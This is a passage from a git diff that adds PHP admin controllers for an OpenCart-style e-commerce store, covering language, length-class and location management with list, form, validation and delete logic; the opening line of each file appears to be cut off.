+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/language/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/language/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['languages'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $language_total = $this->model_localisation_language->getTotalLanguages();
+
+ $results = $this->model_localisation_language->getLanguages($filter_data);
+
+ foreach ($results as $result) {
+ $data['languages'][] = array(
+ 'language_id' => $result['language_id'],
+ 'name' => $result['name'] . (($result['code'] == $this->config->get('config_language')) ? $this->language->get('text_default') : null),
+ 'code' => $result['code'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('localisation/language/edit', 'user_token=' . $this->session->data['user_token'] . '&language_id=' . $result['language_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_code'] = $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . '&sort=code' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . '&sort=sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $language_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($language_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($language_total - $this->config->get('config_limit_admin'))) ? $language_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $language_total, ceil($language_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/language_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['language_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ if (isset($this->error['locale'])) {
+ $data['error_locale'] = $this->error['locale'];
+ } else {
+ $data['error_locale'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['language_id'])) {
+ $data['action'] = $this->url->link('localisation/language/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/language/edit', 'user_token=' . $this->session->data['user_token'] . '&language_id=' . $this->request->get['language_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['language_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $language_info = $this->model_localisation_language->getLanguage($this->request->get['language_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($language_info)) {
+ $data['name'] = $language_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['code'])) {
+ $data['code'] = $this->request->post['code'];
+ } elseif (!empty($language_info)) {
+ $data['code'] = $language_info['code'];
+ } else {
+ $data['code'] = '';
+ }
+
+ $data['languages'] = array();
+
+ $folders = glob(DIR_LANGUAGE . '*', GLOB_ONLYDIR);
+
+ foreach ($folders as $folder) {
+ $data['languages'][] = basename($folder);
+ }
+
+ if (isset($this->request->post['locale'])) {
+ $data['locale'] = $this->request->post['locale'];
+ } elseif (!empty($language_info)) {
+ $data['locale'] = $language_info['locale'];
+ } else {
+ $data['locale'] = '';
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($language_info)) {
+ $data['sort_order'] = $language_info['sort_order'];
+ } else {
+ $data['sort_order'] = 1;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($language_info)) {
+ $data['status'] = $language_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/language_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/language')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 32)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (utf8_strlen($this->request->post['code']) < 2) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ if (!$this->request->post['locale']) {
+ $this->error['locale'] = $this->language->get('error_locale');
+ }
+
+ $language_info = $this->model_localisation_language->getLanguageByCode($this->request->post['code']);
+
+ if (!isset($this->request->get['language_id'])) {
+ if ($language_info) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ }
+ } else {
+ if ($language_info && ($this->request->get['language_id'] != $language_info['language_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/language')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('sale/order');
+
+ foreach ($this->request->post['selected'] as $language_id) {
+ $language_info = $this->model_localisation_language->getLanguage($language_id);
+
+ if ($language_info) {
+ if ($this->config->get('config_language') == $language_info['code']) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ if ($this->config->get('config_admin_language') == $language_info['code']) {
+ $this->error['warning'] = $this->language->get('error_admin');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByLanguage($language_info['code']);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+ }
+
+ $order_total = $this->model_sale_order->getTotalOrdersByLanguageId($language_id);
+
+ if ($order_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_order'), $order_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/localisation/length_class.php b/public/admin/controller/localisation/length_class.php
new file mode 100644
index 0000000..3dac51a
--- /dev/null
+++ b/public/admin/controller/localisation/length_class.php
@@ -0,0 +1,375 @@
+load->language('localisation/length_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/length_class');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/length_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/length_class');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_length_class->addLengthClass($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/length_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/length_class');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_length_class->editLengthClass($this->request->get['length_class_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/length_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/length_class');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $length_class_id) {
+ $this->model_localisation_length_class->deleteLengthClass($length_class_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'title';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/length_class/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/length_class/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['length_classes'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $length_class_total = $this->model_localisation_length_class->getTotalLengthClasses();
+
+ $results = $this->model_localisation_length_class->getLengthClasses($filter_data);
+
+ foreach ($results as $result) {
+ $data['length_classes'][] = array(
+ 'length_class_id' => $result['length_class_id'],
+ 'title' => $result['title'] . (($result['length_class_id'] == $this->config->get('config_length_class_id')) ? $this->language->get('text_default') : null),
+ 'unit' => $result['unit'],
+ 'value' => $result['value'],
+ 'edit' => $this->url->link('localisation/length_class/edit', 'user_token=' . $this->session->data['user_token'] . '&length_class_id=' . $result['length_class_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_title'] = $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . '&sort=title' . $url, true);
+ $data['sort_unit'] = $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . '&sort=unit' . $url, true);
+ $data['sort_value'] = $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . '&sort=value' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $length_class_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($length_class_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($length_class_total - $this->config->get('config_limit_admin'))) ? $length_class_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $length_class_total, ceil($length_class_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/length_class_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['length_class_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['title'])) {
+ $data['error_title'] = $this->error['title'];
+ } else {
+ $data['error_title'] = array();
+ }
+
+ if (isset($this->error['unit'])) {
+ $data['error_unit'] = $this->error['unit'];
+ } else {
+ $data['error_unit'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['length_class_id'])) {
+ $data['action'] = $this->url->link('localisation/length_class/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/length_class/edit', 'user_token=' . $this->session->data['user_token'] . '&length_class_id=' . $this->request->get['length_class_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['length_class_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $length_class_info = $this->model_localisation_length_class->getLengthClass($this->request->get['length_class_id']);
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['length_class_description'])) {
+ $data['length_class_description'] = $this->request->post['length_class_description'];
+ } elseif (isset($this->request->get['length_class_id'])) {
+ $data['length_class_description'] = $this->model_localisation_length_class->getLengthClassDescriptions($this->request->get['length_class_id']);
+ } else {
+ $data['length_class_description'] = array();
+ }
+
+ if (isset($this->request->post['value'])) {
+ $data['value'] = $this->request->post['value'];
+ } elseif (!empty($length_class_info)) {
+ $data['value'] = $length_class_info['value'];
+ } else {
+ $data['value'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/length_class_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/length_class')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['length_class_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['title']) < 3) || (utf8_strlen($value['title']) > 32)) {
+ $this->error['title'][$language_id] = $this->language->get('error_title');
+ }
+
+ if (!$value['unit'] || (utf8_strlen($value['unit']) > 4)) {
+ $this->error['unit'][$language_id] = $this->language->get('error_unit');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/length_class')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $length_class_id) {
+ if ($this->config->get('config_length_class_id') == $length_class_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $product_total = $this->model_catalog_product->getTotalProductsByLengthClassId($length_class_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/location.php b/public/admin/controller/localisation/location.php
new file mode 100644
index 0000000..1534eea
--- /dev/null
+++ b/public/admin/controller/localisation/location.php
@@ -0,0 +1,427 @@
+load->language('localisation/location');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/location');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/location');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/location');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_location->addLocation($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/location');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/location');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_location->editLocation($this->request->get['location_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/location');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/location');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $location_id) {
+ $this->model_localisation_location->deleteLocation($location_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/location/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/location/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['locations'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $location_total = $this->model_localisation_location->getTotalLocations();
+
+ $results = $this->model_localisation_location->getLocations($filter_data);
+
+ foreach ($results as $result) {
+ $data['locations'][] = array(
+ 'location_id' => $result['location_id'],
+ 'name' => $result['name'],
+ 'address' => $result['address'],
+ 'edit' => $this->url->link('localisation/location/edit', 'user_token=' . $this->session->data['user_token'] . '&location_id=' . $result['location_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_address'] = $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . '&sort=address' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $location_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($location_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($location_total - $this->config->get('config_limit_admin'))) ? $location_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $location_total, ceil($location_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/location_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['location_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['address'])) {
+ $data['error_address'] = $this->error['address'];
+ } else {
+ $data['error_address'] = '';
+ }
+
+ if (isset($this->error['telephone'])) {
+ $data['error_telephone'] = $this->error['telephone'];
+ } else {
+ $data['error_telephone'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['location_id'])) {
+ $data['action'] = $this->url->link('localisation/location/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/location/edit', 'user_token=' . $this->session->data['user_token'] . '&location_id=' . $this->request->get['location_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['location_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $location_info = $this->model_localisation_location->getLocation($this->request->get['location_id']);
+ }
+
